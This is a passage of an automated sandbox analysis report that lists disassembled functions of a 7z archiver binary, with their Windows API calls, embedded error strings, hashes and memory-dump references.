                                                                                                                                                                                                                                                                    • Opcode ID: 49d8dbeea3e309334c18ccf34888735593e83d285625ea30db466fd3cdf51b47
                                                                                                                                                                                                                                                                    • Instruction ID: acf0e7a6bed1a7d09fa1fec4f897a9a9524e664420d3f48db28ad3a7bcc02f77
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 49d8dbeea3e309334c18ccf34888735593e83d285625ea30db466fd3cdf51b47
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1D919F38D00249DFCF14EFE4C485AEEBBB0AF1531AF144169E915A7291DB305BC9DBA8
                                                                                                                                                                                                                                                                    Function 00C530F8 Relevance: 7.6, APIs: 5, Instructions: 98COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?), ref: 00C53130
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00C53139
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8D068), ref: 00C53157
                                                                                                                                                                                                                                                                    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,?,00000001,00000001), ref: 00C531BE
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(0000FDE9,00C8D068), ref: 00C531E6
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ByteCharExceptionMultiThrowWide$ErrorLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2296236218-0
                                                                                                                                                                                                                                                                    • Opcode ID: d4a9942c6dfd2e2fe26d8e144a77b04f2ca9d156da3d0fc200e79c1dc5414838
                                                                                                                                                                                                                                                                    • Instruction ID: 8a4bc166e9758195cd83e241cbde76fc7cf004462fdaa03479c4a3f0af0ea624
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d4a9942c6dfd2e2fe26d8e144a77b04f2ca9d156da3d0fc200e79c1dc5414838
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 62313175604285BFDB11CF64CC41BAEBBF8EF05345F108059E854C7180D7709B89CBA4
                                                                                                                                                                                                                                                                    Function 00C6D716 Relevance: 7.6, APIs: 6, Instructions: 83COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C6D72F
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C358,00000010), ref: 00C6D74C
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C2D8,00000010), ref: 00C6D75F
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9c1955e10799e9b718b3aecfd54de6184557b3d5fc2f01e867c7585bef086558
                                                                                                                                                                                                                                                                    • Instruction ID: c8922d320d5e18793e5231e6e9d7762632cda68c658f9625a307a9f06c7d9d7b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9c1955e10799e9b718b3aecfd54de6184557b3d5fc2f01e867c7585bef086558
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5721F972B402096FD7246E11DCC1EBA73EC9B70759B048429FC46DB245F630EE0067A6
                                                                                                                                                                                                                                                                    Function 00C54BD4 Relevance: 7.6, APIs: 5, Instructions: 72filetimeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C54BD9
                                                                                                                                                                                                                                                                    • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00C54C18
                                                                                                                                                                                                                                                                    • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,00000000), ref: 00C54C58
                                                                                                                                                                                                                                                                    • SetFileTime.KERNEL32(000000FF,?,?,?), ref: 00C54C7A
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(000000FF), ref: 00C54C88
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: File$Create$CloseH_prologHandleTime
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 213185242-0
                                                                                                                                                                                                                                                                    • Opcode ID: 400a47aa79a8d47bd33160cae347ab235c5ad09facb6b2a6ec87389ecf182baf
                                                                                                                                                                                                                                                                    • Instruction ID: b1b696dd04f4cf0bce1b4660a951b6d40179375cc49cbd0526a6e0b4c85d8cd0
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 400a47aa79a8d47bd33160cae347ab235c5ad09facb6b2a6ec87389ecf182baf
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2C21AC3190020AABEF159FA8DC05BEEBB79EF44325F104215E920761E0D7701B88DB54
                                                                                                                                                                                                                                                                    Function 00C7BAF8 Relevance: 7.6, APIs: 5, Instructions: 57COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prologfputcfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3247574066-0
                                                                                                                                                                                                                                                                    • Opcode ID: 0cdab0ba409bbfd36eadbaec7ae6a08209426ee0b07614bf98eab3e58d214849
                                                                                                                                                                                                                                                                    • Instruction ID: 2c01e6d988376891eca54da4059a4e330594880b02026ba19c1dd87a42bc313a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0cdab0ba409bbfd36eadbaec7ae6a08209426ee0b07614bf98eab3e58d214849
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1111BF32A00109ABCF05EFA8DC82BADBBB5FF44310F104066F515A7191DB319A69DF94
                                                                                                                                                                                                                                                                    Function 00C5CA88 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 153COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID: Incorrect volume size:
                                                                                                                                                                                                                                                                    • API String ID: 2366012087-1799541332
                                                                                                                                                                                                                                                                    • Opcode ID: a97be8dbf2d6d5c6c3ed1ae800e56b79189ba4c9fe5917f01716fed9e66a7bc7
                                                                                                                                                                                                                                                                    • Instruction ID: 44e98f86313f41a4721f9e7b937197fb3a0ad9819c285e0d584422a2342d7b56
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a97be8dbf2d6d5c6c3ed1ae800e56b79189ba4c9fe5917f01716fed9e66a7bc7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 29516D35900344DFEB14EF94C885BEDB7F0BF15305F0444A9E84A6B292DB746A8CEB59
                                                                                                                                                                                                                                                                    Function 00C5C34E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5C353
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5C45F
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8DE50), ref: 00C5C47D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5C493: __EH_prolog.LIBCMT ref: 00C5C498
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5C493: _CxxThrowException.MSVCRT(00000000,00C8DE50), ref: 00C5C53C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • There is no second file name for rename pair:, xrefs: 00C5C44C
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$H_prolog
                                                                                                                                                                                                                                                                    • String ID: There is no second file name for rename pair:
                                                                                                                                                                                                                                                                    • API String ID: 206451386-3412818124
                                                                                                                                                                                                                                                                    • Opcode ID: f633b70ce0fadd1e8867435ac0abd5735cba376eb53fc344a87b6e55f5829ac4
                                                                                                                                                                                                                                                                    • Instruction ID: fa63683b7ec3ab34aca7a66ba3bc12f0d0cb9a6f22345c968c948d412bea3736
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f633b70ce0fadd1e8867435ac0abd5735cba376eb53fc344a87b6e55f5829ac4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 25413A3560020ADFCF14EF54C891EAE7771BB44725F408219FD216B2E1CB749999DB98
                                                                                                                                                                                                                                                                    Function 00C7B69E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 98COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologfputs
                                                                                                                                                                                                                                                                    • String ID: Name$Size
                                                                                                                                                                                                                                                                    • API String ID: 1798449854-481755742
                                                                                                                                                                                                                                                                    • Opcode ID: 7ceb45730876d8b373b44fd86930dcc404312ced954cc81a60957319dc30b1e3
                                                                                                                                                                                                                                                                    • Instruction ID: de8d9a79b95304f50a4bf82174e08f301278d82af4c6c8a0db853ac5c5c95703
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7ceb45730876d8b373b44fd86930dcc404312ced954cc81a60957319dc30b1e3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FF31D6756002049FCF09EF64C895BAD77B1FF84710F148069F85A5B292CB34AE86DBA4
                                                                                                                                                                                                                                                                    Function 00C8216E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 83COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$fputc
                                                                                                                                                                                                                                                                    • String ID: : Removing files after including to archive$Removing
                                                                                                                                                                                                                                                                    • API String ID: 1185151155-1218467041
                                                                                                                                                                                                                                                                    • Opcode ID: c8fd7d26c72c0fd7d92fb6b527c1552fd3fbfd4fa744b601a03294361a5f328b
                                                                                                                                                                                                                                                                    • Instruction ID: 1158d22f521f66c7a8692265f5ff67369761dd0ef862b1fb7406ad4dbd114460
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c8fd7d26c72c0fd7d92fb6b527c1552fd3fbfd4fa744b601a03294361a5f328b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E731D4361007419FC765FB20C885BAAB3E6AF45315F04482DE8AB03162CF31798DDB19
                                                                                                                                                                                                                                                                    Function 00C7CD62 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog
                                                                                                                                                                                                                                                                    • String ID: =
                                                                                                                                                                                                                                                                    • API String ID: 2614055831-2525689732
                                                                                                                                                                                                                                                                    • Opcode ID: ad2f824179cdb4f2bdf72097c87e9d4dab526563084b3317106ed16057aa21fe
                                                                                                                                                                                                                                                                    • Instruction ID: f6c67a370eb5609484bb2338f75bb0848a8e8d4dd0fc78d02af1fd17ebb70d90
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ad2f824179cdb4f2bdf72097c87e9d4dab526563084b3317106ed16057aa21fe
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 63216F76900119EBCF06EB94D8869EDBBB5EF48310F24402AF40572191DF315E88EB94
                                                                                                                                                                                                                                                                    Function 00C5C493 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5C498
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D311: __EH_prolog.LIBCMT ref: 00C5D316
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8DE50), ref: 00C5C53C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID: -r0$Unsupported rename command:
                                                                                                                                                                                                                                                                    • API String ID: 2366012087-1002762148
                                                                                                                                                                                                                                                                    • Opcode ID: 9efd107c8cc8300ed95aa709fb5b59bc766cebbb43da44c03406e1c5b377687e
                                                                                                                                                                                                                                                                    • Instruction ID: c2133ef2f32a4ff33a5de106e1d333c289175e879760d8d0a3b61cc57ed3f42e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9efd107c8cc8300ed95aa709fb5b59bc766cebbb43da44c03406e1c5b377687e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 301184759002059BCF14FB94CC929FEB7B4AF66715F400059ED4223192DF306A8DE798
                                                                                                                                                                                                                                                                    Function 00C82713 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog
                                                                                                                                                                                                                                                                    • String ID: :
                                                                                                                                                                                                                                                                    • API String ID: 2614055831-3653984579
                                                                                                                                                                                                                                                                    • Opcode ID: c1e2afd7bfed3035d87bba079c281ca5f22cec52da6921e65f1a43a2d6419be9
                                                                                                                                                                                                                                                                    • Instruction ID: a150932f8b6fca82b6443d2f03ed7085e2f90437dad22daa43edad066e4acf61
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c1e2afd7bfed3035d87bba079c281ca5f22cec52da6921e65f1a43a2d6419be9
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E311D335600600DBCB15FF64C896FAEBBB6FF80310F18441EEC1613251DB316989EB59
                                                                                                                                                                                                                                                                    Function 00C7EB58 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID: Decoding ERROR$ F:v$@F:v
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-2692154164
                                                                                                                                                                                                                                                                    • Opcode ID: 48126efd8296117e01e7ed1c32cd8b264722abfd7792245e6a7b4f9ec7bff41f
                                                                                                                                                                                                                                                                    • Instruction ID: 9e6e5cf2a6f27f00cd5837afc8b646e254214cce4181966658148d554268e02c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 48126efd8296117e01e7ed1c32cd8b264722abfd7792245e6a7b4f9ec7bff41f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6E214F30901259DBDF29EB94D895BDCBB70BF15318F2481EDE019A71A2CB301B89DF15
                                                                                                                                                                                                                                                                    Function 00C7CBFC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7CC01
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7CC16
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7CC1F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7CC7A: __EH_prolog.LIBCMT ref: 00C7CC7F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7CC7A: fputs.MSVCRT ref: 00C7CCBC
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7CC7A: fputs.MSVCRT ref: 00C7CCF2
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prolog
                                                                                                                                                                                                                                                                    • String ID: =
                                                                                                                                                                                                                                                                    • API String ID: 2614055831-2525689732
                                                                                                                                                                                                                                                                    • Opcode ID: 01925338b79f898a921b191136a8655d046de152fb38d930133d639583729029
                                                                                                                                                                                                                                                                    • Instruction ID: 1211ec03d98c8934853edb8b1afee988443f08f437c488830f85d11e2c44e096
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 01925338b79f898a921b191136a8655d046de152fb38d930133d639583729029
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BC01F975600008BBCF06BBA8D846BBD7B75FF84715F04401EF845562A1CF744A89EB99
                                                                                                                                                                                                                                                                    Function 00C57EB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(ntdll.dll), ref: 00C57EC7
